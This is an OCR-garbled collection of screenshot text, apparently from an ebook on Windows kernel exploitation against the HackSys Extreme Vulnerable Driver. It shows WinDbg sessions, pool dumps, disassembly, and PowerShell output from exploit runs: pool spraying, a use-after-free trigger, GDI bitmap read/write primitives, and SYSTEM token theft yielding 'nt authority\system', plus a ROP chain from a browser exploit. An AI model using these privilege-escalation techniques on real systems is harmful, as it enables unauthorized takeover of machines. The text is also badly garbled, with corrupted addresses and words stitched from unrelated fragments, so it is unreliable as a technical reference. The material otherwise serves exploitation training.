£EFEO51e 00829520 FEfSSle  03£00010 FEEESEO
£EFEO51e 00829£30 FLFE95le’00829£10

3: kd> db FEFF951EQ3E1D000

£E££9502°a256DTD0

Window handle

00000000° 00000004

Py Menu name pointer

£EEE951e"03e1d000 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
£EFE951e"03e1d010 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
£EFE951e"03e1d020 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
£EFE951e"03e1d030 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
£EFEO51e"03e1d040 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
£EFE951e"03e1d050 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
£EFE951e"03e1d060 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
£EFE951e"03e1d070 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.

3

kd> g
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TRAP_FRAME: 940chbéc —— (. trap Oxffffffff340chhéc
ErrCade = 00000010

49s6bbe ecx=949eS5ce edx=00000000 esi=85685500 =di=8568c430
41414141 esp 41414141 iop nv up i ng nz na po nc
cs=0008 530010 ds=0023_ es=0023 £s=0030 gs=0000 ©£1=00010282
11414141 77 279

Resetting default scops

DEFAULT_BUCKET_ID: VIN?_DRIVER_FAULT
BUGCHECK_STR:  0x8E

PROCESS_NAME: povershell .exe

CURRENT_IRQL: 2

ANALYSTS_VERSTON: 6.3.9600.17298 (debuggers(dbg) 141024-1500) x86tre

MANAGED_STACK: |dunpstack —EE
05 Thread Id: 0x0 (0)

TEE infornation is nat available sa a stack size of OxFEFF is assuned
Current frame

ChildEBP Rethddr Caller,Calles

LAST_CONTROL_TRANSFER: from 82917083 to 828b3110

STACK_TEXT
540ch29c 82917083 00000003 20344527 00000065 nt!RtlpBreakVithStatusInstruction
340ch2ec 82917b81 00000003 340cb6f0 00000000 nt!KiBugCheckDebugBreak+Oxlc
540chebl 82916£20 0000008= 0000005 41414141 nt!|KeBugCheck2+0z68b

540chéd 828ed0B= 0000008 0000005 41414141 nt|KeBugCheckEx+Dxle

340chaic 82876dd6 940cbb18 00000000 940chbbe nt!KiDispatchEsception+Dxlac
340chbbd 82876d8a 41414141 41414141 hadb0d00 nt!CommonDispatchExceptiontOxda
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kd> dd nt!ObTypelndexTable
82995900 00000000 bad0bObO 8483ccEs

52995910 8483cbes
52995920 8483c650
82995930
52995940
52995950

52995960 84824540
52995970 84826040
kd> dad nt

52995930 848e5DSE

8483920
sa83csae
s48a9740
s4sedse1s
s4seds28
24824508
s48e6078

Null Ptr

s483c7e0
s483c4c0
848£1a20
s48ed350
24824760
s48e4a40
248e6ab0

ObTypelIndexTable+ (4+C) L1

kd> dt nt! OBJECT TYPE Name 848e5bSE

+0%008 Name

TUNICODE STRING

s483cc30
24830718
s48ccca0
s4se3a1s
s48e4ps
s4se4698
s48e4378
s48e69e8
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PS C:\Users\b33f> .\Desktop\HAL Leak.ps1

[>]1 Leaking HalDispatchTable pointer..

[+]1 Kernel Type: ntkrnlpa.exe

[+] Kernel Base: Dx8284E000

[+] Kernel Hanle: Ox88276992

[+] HalDispatchTable UserSpace: Bx89582712
[+] HalDispatchTable KernelSpace: Bx829793F8

PS

Users\b33f>
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+0%800 Win32ClientInfo : [62] &
1: ika> da]000000ECOSES7000+0x800 L6
505000sc 05237500

000000ec" 0537810
000000ec" 0537820 0000
1: ka> dg 0000020d59b000

~53750000 00000000" 00060000
59760010 00000001° ffeeffee
590020 EEFEEFld 0080012
59700030 EEEFEF1A 00800000
5970040 EEEFEF1d 00800650
59760050 00000001°000013c5
0000020d°S9FDO0G0  FEEEEFLd 0083afe0
0000020d° 9£B0070  0000000S° 00000008
1: ka> dq FEF£££1d00800000

FEFEFF1d° 00800000 00000000 00000000
£EFEFF1d 00800010 00000001 ffeeffee
FEFEFF1d| 00800020 EEEEEELd 00800,
FEFEFF1d 00800030 FEFEEF1d 00800000
FEFEFF1d 00800040 FEFEEFd®008006£0
FEFEFF1d 00800050 00000001 000013cS
FEFEFF1d 00800060 fLFLEfld 0083afed
£EFEFF1d 00800070 0000000S° 00000009

d°59£p0700

000

5100dafa"
reeere1a
reeereia
60000000°
reeereias
00000000°
reeereias
00100000

0100dafa®
reeere1a
reeere1a
00000000°
reeere1a
00000000°
reeerela
00100000

kd> dt ntdll! _TEB 000000ECOSE37000 Win32ClientInfo

TEB Base

00000000° 00000008 00000000° 00000000
00000000°00000a00 00000000 00000000
o

S22 yser Desktop Heap
76102839
00800120
00500000
00001400
01c00000
00000000
o083afeo
00000000

Kernel Desktop Heap

Identical

00800120
00800000
00001400
0100000
00000000
0083are0
00000000

Oxffffff1d00800000
- 0x20d59fb0000

0xfffffd0fa6850000

ulClientDelta
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kd) |process 0 0 powershell. exe
PROCESS fifffa80028c9630 Powershell EPROCESS
Sessfonld: 1 Cid: Ob48  Peb: 76fffdi000 ParentCid: 0Sai
DirBase: 298ccl00 ObjectTable: fffff8a0097ffcal HandleCount: 369
Inage: povershell exe

kd> dt nt! EPROCESS f{fffa8002859630 UniqueProcessld Token InageFileNans
+0%180 TnigueProcessId - 0x00000000°00000b48 Void

+0:208 Token _EX_FAST_REF
+0x2e0 ImageFilelane [15] “"powershell .exe"

kd> Iponl £1i¢£a800209630

Pool page £11££a80028c9630 region is Nonpaged pool

£££££aB0028c9000 size: 130 previous size 0 (Allocated) NbL4 OxfffffaB0028c9630

£££££280028c3130 size: 50 previous size: 130 (Allocated) VadS - Oxfffffa80028c95d0

£E£££280028c9180 size b0 previous size 50 (Free) HidU

£E£££28002829230 size 40 previous size b0 (Allocated) ReTa

£££££28002809270 size: 80 previous size: 40 (Free) ALEC 0x60

£££1£a80028c92f0 size: 40 previous size: 80 (Allocated) ReTa
£££1£280020c9330 size: 40 previous size: 40 (Allocated) ReTa .
£££££28002809370 size: 160 previcus size: 40 (Allocated) Ntfx Proc header size
£££1£280020c94d0 size: 100 previous size: 160 (Allocated) lnCa
%{£§££aB0028c35d0 size’ 530 previous size: 100 (Allocated) *Proc (Protected
Goltag Proc | Process objects. Binary - ntlps

£E£££280028c9b00 size 10 previcus size: 530 (Free) Thre
£££1£280028c9b10 size: 90 previous size: 10 (Allocated) Vad  Proc pool chunk
£££££280028c9bal size 10 previous size 90 (Free) Even

££1££a80028c9bb0 size: 60 previous size! 10 (Allocated) Iep
££1££a80028c3c10 size: 80 previous size: 60 (Allocated) lalo
££1££a80028c9090 size: 90 previous size: 80 (Allocated) Vad
££1££a8002809d20 size: 90 previous size: 30 (Allocated) Vad
£££££a80028c9db0 size: 90 previous size! 30 (Allocated) Vad
££1££a80028c9240 size: 90 previous size! 30 (Allocated) Vad
£££££a80028c92d0 size: a0 previous size: 90 (Allacated) Muta (Protected
fffffaBO028cI£70 size: 90 previous size: a0 (Allocated) Vad
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T0CTL_ZuMapViewofSectio
mov  rll, rsp

mov  quord [r11+0x8 {_saved_rbx}], rbx
mov  quord [r11+0x10 {_saved rsi}], rsi

push  rdi
sub  rsp, @x6@ {var_68}

mov  dword [rsp+0xd8 {var_20}], @x4@ // Protect
mov  rlo, r8

xor  rd, r8d

mov  eax, r9d

mov  dword [r11-0x28], r8d

mov  rsi, rdx

lea  rdx, [r11-0x18 {var_18}]

mov  dword [rsp+0x38 {var_30}], @x2 // InheritDisposition
mov  quord [r11-0x38], rdx

mov  rdx, rcx // ProcessHandle
mov  quord [r11-6x40 {var_40}], r8 {0x0}

mov  rcx, r1@ // SectionHandle

mov r8, qword [rsp+8x9@ {arg5}] // BaseAddress
mov  edi, rod

xor  r9d, rod // ZeroBits

mov  quord [r11-6x18 {var_18}], rax
mov  quord [r11-0x48 {var_48}], rax
call  quord [rel ntoskrnl!ZuMapView0fSectiongTAT]

I

mov  ebx, eax
test  eax, eax
jns  @x178c6

mov  dword [rsp+@x28 {var_40}], eax

lea 8, [rel data 28d20] {“MapSectionUserMode"}

mov  r9, rsi

mov  dword [rsp+0x20 {var_48}], edi

lea  rdx, [rel data_28d38] {"%s - Failed to map section PID @."}
xor  ecx, ecx

call  sub_145¢8

mov  eax, ebx

e —

mov  rbx, quord [rsp+0x70 {_saved_rbx}]
mov  rsi, quord [rsp+@x78 {_saved_rsi}]
add  rsp, @x60 {_saved_rdi}

pop  rdi
retn






OEBPS/Images/20180106_6.jpg
Graph overview






OEBPS/Images/3-5.png
EIEX)

S

H

- immunily Debugger - DVDXPlayer. EXE - [CPU - min thr






OEBPS/Images/5-10.png





OEBPS/Images/20180316_10.jpg
|| me e
.
E——— [
1) )
JR———— ] —————
S

HINSTANCE _hInstance

HICON hIcon
HCURSOR __hursor

HERUSH  hbrBackground
LPCTSTR __ lpsaenuame

- -u33RiFdoSI1VHE283CCTFPKATIngnVS AKRVDer ..
LPCTSTR  1pszClasshame
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izl

lLoc_tupc1: i “[+] Triggering Mull Pointer Dereference
lpush  offset aTriggeringhull

call  obgprint

bop  ecx

call  duord ptr [esivs]—— call dword 0x00000004

limp___short loc_1sBFs.
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18 Process Hacker [DESKTOP-1N6BOSS\b33f]
Hacker View Tools Users Help
% Refresh {3 Options | g Find handles of
Processes Sanvces Network_Disk

Name )
# spoolvece 175

[ svchost.exe. 1928

[ KMS-R@1n.exe 1956

[ MsMpEng.exe 1300

D vmtoolsd.exe 1368

[ VGAuthService.exe 1424

[ svchost.exe. 1392

[E] dilhost.exe 2520

G msdtc.ere 2644

[%] NisSrv.exe 2804

© & Searchindererexe 450

£ SeachProtocol.. 240

£ Seachfitertose.. 308

£ SearchProtocol.. 4708

[ svchost.exe. 4928

[ sppsvcere 576

[ Isass.exe 776

~ 7 winlogon.exe 0
[E dwm.exe 1000

v 12 explorerexe 3152
@umtooisdee  PID 437

& OneDrive.exe 4384

GDI Handles
Type Hande
Bitmap. Oxa0s05ed
Bitmap. 036050542
Bitmap. 0x6e05075F
Brush 034100747
oc 0xa010721
oc 0xd10106b4

Bitmap handle

Object Information
xS0 143621000
OxfFff90 14074010
Oxfff90143e87000)
OxfFT90140655e0
OxfFf9014017620
Oxff90142374620

Kernel pointer

Refiesh

CPU Usage: 9.83%  Physical memory: 1.06 GB (26.49%) T Processes: 55






OEBPS/Images/6-4.png
BOBEFC32
Gogerc
)

Geeeret
BogerCae
BogerCa
BogerCae
BogerCan
Boecrta
BogErCas
BogrCo
BogerCa
BogErCaC
bogerCiE
BogErCa
Boe e
GoBEFLE

%
28 srecrass
st
Sics

S8
&

88 eveneerc
FRof

o
P espassze

PusH ESEEETES

[ R e

BT

PUH £

T8 EBRykerne 152, inEneo
e

e ey

Ihe E8

IhE £8

e Eed





OEBPS/Images/20180314_11.jpg
[Copyright (C> 2089 Microsoft Corporation. AL rights

PS C:\Users\h33£> yhoani
uin-0ake6k9 iui8\h33f

[PS' C:\Users\h33f>

[PS C:\Users\h33f> .\Desktop\Kernel UAF.psi

Allocating ringd payload..
Payload size: b6
Payload address: 0x04C80080

Driver infornation..
1pFileName: \\.\HacksysExtremeUulnerableDriver
Handle: 1752

Spraying non-paged kernel pool?
Derandomizing NonPagedPool. .
19888 ToCo objects create
Allocating sequential objects. .
5800 ToCo objects created!
Creating non-paged pool holes..
Free’d 2500 IoCo objects?

Staging vulnerability. .
Allocating UAF object
Freeing UAF object
Spraying 5088 Fake objects

Triggering UAF vulnerability?
PS C:\Users\h33£> uhoani

nt authority\systen
[PS C:\Users\h3sf>

reserved.
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212565121 Broakpoint at

WSUGRE.77CISAT.
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kd> bp 93316bcc
xxx ERROR: Module load completed but synbols could not be loa
k> g

xexxatx HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE xxxxxx
[+] Pool Tag: 'kecaH'

[+] Pool Type: NonPagedPool

[+] Pool Size: 0x8

[+] Pool Chunk: 0x84E48878

[+] UserValue: D=DEADB33F

[+] FullPointerDereference: 0x84E48878

[+] Freeing NullPointerDersference Object

[+] Pool Tag: ‘kcaH'

[+] Pool Chunk: 0x84E48878

[+] Triggering Null Pointer Dereference

Breakpoint 0 hit

HackSysExtrensulnerableDriversOxibos

93316bec ££5604 call dword ptr [esi+d]

kd> dd esi+d

00000004 72777727 77299777 27729277 77772977

00000014 77997777 77799777 97729777 77777977

00000024 77997777 77299777 977729977 97777977

00000034 77997777 77299777 97729977 97717977

00000044 77797777 77299777 97729977 97777977

00000054 72997777 77299777 97729977 77777977

00000064 777997777 77299777 97729977 77777977

00000074 77997777 77999777 97799977 97777977

kd> g

[-] Exception Code nxcnnnnnns—EXCe‘Ptlon handler
wxxxxx HACKSYS EVD TOCTL NULL POINTER DEREFERENCE %%
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\Users\b33f> Get—Handles —ProcID 4 iWhere-Object (5_.OhjectType —eq "Section

Section
O<FFFFT8A08800DFCO
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eax, ebx
shr eax, 2

edi, eax
short loc_1495]

TS

yLevel], OFFFFFFFER

[ebpedixirkernelBuffer], eax
[ebpUserBuffer], 4

edi

[ebp+Count], edi

short loc_14959
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kd> dt nt! OBJECT TYPE 8483cdcO
+0%000 TypeList _LIST_ENTRY [ 0x8483c4cO - 0x8483c4cO ]
+0x008 Name : _UNICODE_STRING "IoCompletionReserve™

+0x010 DefaultObject (nu11)

+0x014 Index : oxa !

+0x018 TotalNumberOfobjects : 1

+0x01c TotalNumberOfHandles : 1

+0x020 HighWaterNumberOfObjects : 1 Counters

+0x024 HighWaterNumberOffiandles : 1

+0x028 TypelInfo _OBJECT_TYPE_INITIALIZER

+0x078 TypeLock TEX_PUSH_LOCK

+0x07c ey Ox6£436£23

+0x080 CallbackList : _LIST_ENTRY [ 0x8483c540 - 0x8483c540 1
kd> dt nt! OBJECT TYPE 8483c4c0 TypeInfo.PoolType

+0x028 TypelInfo

+0x024 PoolType : 0 ( NonPagedPool )
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&1 pid 276 - WinDbg:6.2.9200.16384 X85
T i

bR G ) DRASEOREE0OE

0c0c0c0e Fuzzysecurity.
ococncin
ococncza
0c0c003s
ococncas
0c0c0057
ococnces
0c0c007s
ococncas
0c0c0093
ococ0caz
0c0cncn1
ococncen
ococnces
ococncde
ococnced
ococncze
0c0c0ans
ococndia
ococnazs
ococnass
0c0c0as7

(114.1a8) : Access violation - code cODODODS (first chance

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.
2520002 EPP P rrTE———— 0909090 es1=01625cd0 edi=00000000
50509090 o162mza3 nv up ei pl zr na pe ne
20s£z0 o0205£20 ef1-00010246

1625020 0162nEdr 7
Teanche 00000000 0:008> d 0enemenc+70

Tezpoan o162bzaE ocococ7e  SANSONSENSE
o16zmEee ocococse 50 50 S0 S0

50505050 3014034 mehtml |CTrecnjSlf0C0C05e S0 S0 50 50
ooz0s£20 ocococee 50 50 o so
o162m2a3 ococoche 50 50 o S0
o0z0s£20 ocococce 50 90 o so
00000000 ocococde 50 90 o so
00000000 ocococec 50 90 S0 90
ooooaooo
oooooooo
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kd> !process 0 O powershell.exe
PROCESS ££ffe000ecldf140
SessionId: 1 Cid: 13fc  Peb: 211bcSd000 ParentCid: 0c50
DirBase: 9aa0c000 ObjectTable: ffffc000c35b4700 HandleCount: <Data Not Accessible>
Inage: powershell.exe

kd> .process frffe000ecidfi40

Implicit process is now £fffe000°ecldfl4o

WARNING: .cache forcedecodeuser is not enabled

kd> .context

User-mode page directory base is 9aa0c000

kd> r Speb

$peb=000000211bc5d000 PEB address

kd> dt nct! PEB 000000211bcSd000 GdiSharedHandleTable
+0x0f8 GdiSharedHandleTable : 0x000001c9'760£0000 Void

Change process context to PowerShell

Array pointer
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PID WM type Uptime: CPU  Pipe name. Packets Resets 05 Debugger Pollrate Bytes received 0
@0804  VMware x4 001613 0% kd Win? 0/ 0 0 Bytes send 0
Packoteceved 0
Packeesmt 0
Woskarme 0
OUTpackerte 0
Reeteomt 0
e 0 I
Reeverse I
Mosemdroe I
Mokt e
CPU usage: 0% f
Avg CPUusage 4% \
\
et [ <) [oeaies ) [oempwiia ] |
R R R R R R
#VirtualKD patcher DLL successfully loaded. Patching the GuestRPC mechanism...* I
B R et Rt R oo b et

Searching patch database for information about current exccutable...
No information found.

Analyzing VMWARE-VMX exccutable. ..

Building list of EXE sections... 21155K of data found.

Scanning for RPC command name strings... o

Stop debugger automaticaly ) KD.EXE [ Debuggerpah. |
DbgBreakPaint()on stat Customs [emdexe /c "${tookpatibtest cmd" ${pipename) Riestore VM snepshot It break

7L e and sceived packets 1o e <VMNAMES il e sl for aneing debusggsprcoco)

Fun debugger
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**xxxx HACKSYS_EVD_IOCTL_POOL (

1+]
1+]
1+]
1+]
1+]
1+]
1+]
1+]
1+]
1+]
1+]
1+]
1+]

Allocating ool chunk
Pool Tag: ‘kcaH'

Pool Type: NonPagedPool
Pool Size: OxIFS

Pool Chunk: OxSSCEABSO
UserBuffer: 0x01FSAG4C
UserBuffer Size: OxIFE
KernelBuffer: OxSSCFABSO
KernelBuffer Size: OXIFS
Triggering Pool Overflow
Freeing Pool chunk

Pool Tag: 'kcaH'

Bool Chunk: OxSSCEABSO

*xxxxx HACKSYS_EVD IOCTL_EOOL (

Sreak instruction exception -
KernelBase!DebugBreak+0x2:

OVERFLOW **#x%

OVERFLOW *#xxxx
code 80000003 (first chance)

001b:756a381b cc int s
kd> 1pool Ox8SCEABSO
Pool page 85cfabs0 region is Nompaged pool
85cfa000 size: 68 previous size: 0 (Allocated) FMsl
85cfa068 size: 18 previous size: 68 (Allocated) SmTp
850£a080 size: O previous size: 18 (Allocated) NbL2
85cfald0 size: 68 previous size: c0 (Allocated) EtwR (Brotected)
8Scfalas size: 18 previous size: 68 (Allocated) Wfpl
85cfalco size: 90 previous size: 18 (Allocated) Nbtl
85cfa250 size: 20 previous size: 90 (Allocated) ReTa
85cfa270 size: 180 previous size: 20 (Free) Nspg.
85cfa3f0 size: 68 previous size: 180 (Allocated) Mdl
8Scfasss size: 68 previous size: 68 (Allocated) Mdl
8Scfasco size: 28 previous size: 68 (Allocated) Vads
8Scfases size: 80 previous size: 28 (Allocated) FSrt
85cfases size: 10 previous size: 80 (Free) Even
85cfas78 size: 68 previous size: 10 (Allocated) EtwR (Brotected)
8Scfase0 size: 48 previous size: 68 (Allocated) Vad
85cfa628 size: 68 previous size: 48 (Allocated) FMsl
85c£a690 size: 1a0 previous size: 68 (Allocated) TdxC
85c£a830 size: a8 previous size: la0 (Allocated) File (Protected)
8Scfasds size: 68 previous size: a8 (Allocated) EtwR (Protected)
85cfag40 size: 68 previous size: 68 (Allocated) Mdl
8Scfadas size: 48 previous size: 68 (Allocated) Vad
85cfadf0 size: 28 previous size: 48 (Free) Vads
8Scfaals size: 68 previous size: 28 (Allocated) FMsl
85cfaas0 size: O previous size: 68 (Allocated) NDL2
85cfabe0 size & previous size: <0 (Free) Irp
*8Scfab4s size: 200 previous size: 8 (Free ) *Hack
Owning component : Unknown (update pooltag.txt)
8Scfadss size: 48 previous size: 200 (Allocated) Vad
85cfad90 size: 28 previous size: 48 (Allocated) VadS
8Scfadbs size: 90 previous size: 28 (Allocated) MmCa
8Scfacds size: b8 previous size: 90 (Allocated) File (Protected)
85cfaf00 size: b8 previous size: bf (Allocated) File (Protected)
8Scfafbs size: 48 previous size: bf (Allocated) Sema (Protected)
kd> dc 85cfadas-g Pool header
85cfad40 41414141 41414141 04050040 20646156 AARARRAAG...Vad
85cfads0 85690510 84fbE338 85094458 00001040
85cfad60 00001041 01080000 00000000 00000100
85cfad70 81000000 848£ESDO 8e31ds28 8e31de30
85cfads0 848£fSas 848£fSas 8577531 00000000
85cfad90 04050009 53646156 84fbad20 00000000
85cfadad 00000000 000048d0 000048dE 98000003
85cfadb0 00000000 00000000 04120005 61436d4d
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nt authority\systen

Target s 64-bit!

PID 2564
PebBaseAddress : 0x000000SALBLSC000
GdiSharedHandleTable: 0x000001604A5C0000

Creating Bitmaps.
Manager Bithap handle: 0x§05076D
HandleTableEntry: 0xLBO4ASCBIBS

Bitmap Kernel address: OxFFFFF9014239F000
Manager puScan0 pointer: OXFFFFF9014239F050
Worker BitMap handle: 0x470507C5
HandleTableEntry: 0xIBO4ASCBA7S

Bitmap Kernel address: OxFFFFF90143£89000
Worker puScan0 pointer: OXFFFFF90143E89050

Driver information. .
TpFileNane: \\.\HacksysExtreneVulnerablebriver
Handle: 2784

Sending buffer. .
Buffer length: i6
TOCTL: 0x222008

Leaking SYSTEM _EPROCESS. .
_EPORCESS Tist entry: OXFFFFF800A4F93220
SYSTEN _EPORCESS address: OxFFFFEOOLAESLF700
PID: 4

SYSTEM Token: OXFFFFC00023416A63

Leaking current _EPROCESS. .
Traversing ActiveProcessLinks Tist

PowerShell _EPORCESS address: OxFFFFEOLB0562680
PID: 2564

PonerShell Token: OXFFFFCO00315F6068

Duplicating SYSTEM token!
Users\b33f> whoami
\Users\b33F>
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[+] window handle: 656052

[+] TEB.Win32ClientInfo:  000000BOA2CB5800
[+] User Mapped Desktop Heap: 000002AGCEL40000
[+] Kernel Desktop Heap: FFFF951E00800000
[+] ulCTientbelta: FFFF9277326C0000

[+] Parsing Desktop heap. .
[1] woot, found handlel

[+] User taghND: 000002A6CE169F10
[+] User tagCLs: 000002A6CEL735A0
[+] Kernel taghND: FFFFSS1E00820F10
[+] Kernel tagCLs: FFFF951E008335A0
Kernel tagCLs. IpszienuNane: FFFF951E03E1D000
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window elp

IREVEE:S IYRRR O DRRQEOREOOE

0c0c0c0c 7037653d HSVCRTL! ldexp+0xl6id 899150000000 edx, dword per [ecx+9Ch]
0c0c0010 £rerrdee ap4dos ecx, duord prr [ehp+a]

0c0c0014 70347£98 HSVCRTL!cexit+Oxdah 8911 dvord ptr [ecx],edx

0c0c0c18 70341522 HSVCRTL! croLCHapStringh+dxifd h0s HSVCR71!ldexp+0x1610 (7¢376530)
0cOcOcic frerrere = snados ecx, dvord prr [ehp+s]

0c000020 70376402 HSVCRTL! ldexptOxidez 832100 dvord ptr [ecx],0

0c0c0024 70351205 HSVCRTL!atoliDxss 0fh65301 edx, byte per [ebx+1]

0c0c0028 70345255 HSVCRTL!safe fpremi+0xd ofafcs eax, esi

0c0cOcze 70352174 NSVCRTL! iscaymetOxla 03cz eax, edx

05000030 70344£87 HSVCRTLIAd)_ fpremtDxas 0101 dvord ptr [ecx], eax

0c0c0034 £rerreen = 6an2 2

0c0c0038 7e35iehl HSVCRTL!atoisd+0xad s eax

0c0cOc3e 7034201 MSVCRTL!signaltDx1of st edi

0c0c0040 70380001 HSVCRTL! non rrci object:: vitahle'+Oxbfas s= esi

0c0c0044 70347£97 MSVCRTL!ZexitiOxEas £ ebx

00000048 70378151 MSVCRTL! ldexp+0x5231 sa ebp

0c0c0c4c 70378081 MSVCRTL! ldexp+0x3d6l 3

00020050 70345030 HSVCRTI InodE+0x772 7964 MSVCR71!1dexp+0x1689 (7c376520)
0c0c0054 41413141 37

0c0c0058 41414141 7e81 MSVCR7L!ldexp+0x15a9 (7¢37649)

0c0cOcse 41413141 5437
0c000060 41414141 7c89 MSVCR7L!ldexp+0x15h5 (7¢3764ds)

345005 es1=D162bedD edi=00000000
162bca0 ehp=016zhche iopl=D nv up ei pl zr na pe ne
ds=0023 es=0D23 fs=0D3b  ge=0000 ef1-00000246

162bca0 HSVCRT1!_serusernatherr+0x290

2420018 So£14501 mehtwl | CTreenf] 70345005 94 xeng  eax,=sp

7e3amm0s 162n£as 0:008> p

Z0a050 e eax=0162hca0 ebx=00206050 ecx=02420018 edx=7c348005 esi=0162bedd di=0000DN0O

S eip=7c345006 esp=0cDcOeDc ehp=016zhche iopl=D nv up ei pl zr na pe ne

Teanone e co=001b ss=0023 ds=0023 =s=0023 £2=003h gs=0000 ef1-00000246

s S HSVCRT1!_serusermatherr+0x291

S 70348008 c3 ret.

EEERTET 3ef1dca msheml |CTreenjSlfo:005> »

e eax=0162hca0 ebx=00206050 ecx=02420018 edx=7c348005 esi=0162bedd di=0000DN0O
S e1p=7c37653d esp=0c0c0e10 ehp=016zhche iopl=D nv up ei pl zr na pe ne
e co=001b ss=0023 ds=0023 =s=0023 £2=003h gs=0000 ef1-00000246
e BSVCRT1 ! 1dexp 10x161d

e 7e37683d se »op

00000000

00000000
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kd> !process 0 0 powershell.exe
PROCESS ££ffe001fa682080
SessionId: 1 Cid: 1120  Peb: 8978£47000 ParentCid: OFEE
DirBase: 7£dS6000 ObjectTable: ffffc00lesb82acO HandleCount: <Data Not Ac
Inage: powershell.exe

Manager pvScan0
kd> .process Tffe0017acee080

Inplicit process is now TTffe001'agse080 Worker pvScan0
RARNING: .cache forcedecodeuser is mot emsbied  Worker pvScanO Pointer
Pp—

User-mods page directory base is 7£dS6000

kd> dq OXEFEFES0143E5C050

£ooooo0l 43550050 TIITESO1"43276050 00005d25°00000150
£2£££901°4325c060 00010000°00000006 00000000°00000000
£2£££901°43e5c070 00000000°04800200 00000000°00000000
£££2£901°43e5c080 00000000°00000000 00000000°00000000
£2o££901°43e5c00 00000000°00000000 00000000°00000000
££22£901°43e5c0a0 00000000°00000000 00000000°00000000
£££££901°43e5c0b0 00000000°00000000 00000000°00000000
£22££901°43e5c0c0 00000000°00000000 00000000°00000000
kd> dq OXFFEFES0143E76050

£oooo901 43576050 LIIIESO1 43576258 00005426°00000150
£roe£901°43e76060 00010000700000006 00000000°00000000
£££££901°43276070 00000000°04800200 00000000°00000000
££oo£901°43276080 00000000°00000000 00000000°00000000
££oo£901°43276090 00000000°00000000 00000000°00000000
£2£££901°43e760a0 00000000°00000000 00000000°00000000
££or£901°43276000 00000000°00000000 00000000°00000000
£EfE£301°432760c0 00000000°00000000 00000000 00000000
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[PS C:\Users\h33f> -\Desktop\RZ ZwOpenProcess -psi

[>1 Driver access OK..
[+1 1pFileName: \N.\47CD78C9-64C3-47C2-BSBF-677B887CFA95 => rapnk

[+] Handle: 1288

[>1 Call result:
’

laFs
[PS C:\Users\h33£> $PID
2744

BS C:\Users\h33f> _
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kd> !thread
THREAD 86262030 Cid 0c9c.0ced Teb: 7££d8000 Win32Thread: fe7d7dd0 RUNNING on
IRP List
86c51b00: (0006, 0094) Flags: 00060000 Mdl: 00000000
Not impersonating

Deviceliap 952cb820
Owning Process 86524cd8 Inage povershell exe
Attached Process Nk Inage 29

Vait Start TickCount 6543 Ticks: 0

Cantext Switch Count 271 IdealProcessar: 0

UsexTine 00%00:00.000

KernelTine 00:00:00.109

Win3d2 Start Address 0x6dd36ic?
Stack Init 8albcedd Current 6al5c9d0 Base 82154000 Linit 8a15a000 Call 00000000
TTority asePriority 8 PriorityDecrement 2 IoPriority 2 PagePriority 5
ChildEEP Retdddr Args to Child

VARNING: Stack unvind infornation not available. Folloying franes may be vrong
8alScadd a0892ec 02257940 8aiScafc a08330be HackSysExtremsVulnerableDriver+0xd
8a1Scasd a08930bc 86051b00 8651b70 86530030 HackSysExtremsVulnerableDriver+0xd
oAl Cast Al auaC BhCy Rt oaCa Dl PRDITC L TACKOYSLKLTERE U INETAD S T1Vert Tx A
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2 windows PowerShell
[PS C:xUsers\h33f> Get-SystenModulelnformation

[+] Calling NtQuerySystemInformation::SystenModuleInformation
[71 Success, allocated 55952 hyte result huffer
21 Result bufer contains 197 SystemModuleInformation ohjects

InageBase InmageSize ImageName

8x412008  \SystenRoot\systend2\ntkenlpa.exe
©x37808  \SystemRoot\systendZ\halmacpi d1ll
82088 \SystenRoot\systend2\kdhazis.d11

8x85808  \SystemRoot\systend2\ncupdate_GenuineIntel.d1l
0x11808  \SustemRoot\systen32\PSHED. d11

©x8088  \SystenRoot\systendZ\BOOTUID.d11

0x42008  \SystemRoot\systen32\CLFS.SY§

OxABEOB  \SustemRoot\system32\CI.d1l

8x71808  \SystenRoot\systendZ\drivers\UdFB100D. s ys
BxEBBB  \SystemRoot\systend2\drivers\WDFLDR.S¥S
8x48808  \SystenRoot\systendZ\drivers\ACPI .sys
8x9888  \SystemRoot\systenmd2\drivers\WHILIB.S¥S
©x8088  \SystemRoot\systendZ\drivers\nsisadry.sys
8x20B08  \SystenRoot\systendZ\drivers\pei-sys
©xBBB8  \SystenRoot\systendZ\drivers\udruroot .sys
8x11888  \SystenRoot\Systend2\drivers\partngr.sys
©x8088  \SystemRoot\systendZ\DRIVERS\conpbatt_sys
©xBBA  \SystenRoot\systen32\DRIVERS\BATIC.SYS
©x18888  \SystemRoot\systendZ\drivers\volngr.sys
8x4BBOB  \SystemRoot\Systend2\drivers\volngrx.sys
8x7888  \SystemRoot\systemdZ\drivers\intelide_sys
@xEBB  \SystemRoot\systend2\drivers\PCIIDEX.5¥S
8x16888  \SystenRoot\SystendZ\drivers\nountngs.sys
8x9988  \SystenRoot\systendZ\drivers\atapi.sys
8x23808  \SystenRoot\systend2\drivers\ataport.S¥S
8x18808  \SystenRoot\systemdZ\drivers\lsi_sas sys
8x48808  \SystenRoot\systendZ\drivers\storport.sys
8x9888  \SystenRoot\systendZ\drivers\andxata.sys
©x34808  \SystemRoot\systemd2\drivers\fltngr.sys
811888 \SystenRoot\systendz\drivers\Fileinfo. sys
Bx12F88  \SystenRoot\SystendZ\Drivers\NeFs.sys
828808 \SystenRoot\SystendZ\Drivers\nsrpe .sys
8x13808  \SystemRoot\Systemd2\Drivers\ksecdd.sys
850808 \SystenRoot\SystendZ\Drivers\cng.sys
@xEBB  \SystemRoot\SystendZ\drivers\pou sys
8x9888  \SystemRoot\SystendZ\Drivers\Fs_Rec.sys
@xB7808  \SystenRoot\systendZ\drivers\ndis.sys
©x3E008  \SystenRoot\systend2\drivers\NET10.5¥S
2x25008 ersVkseepia-oys
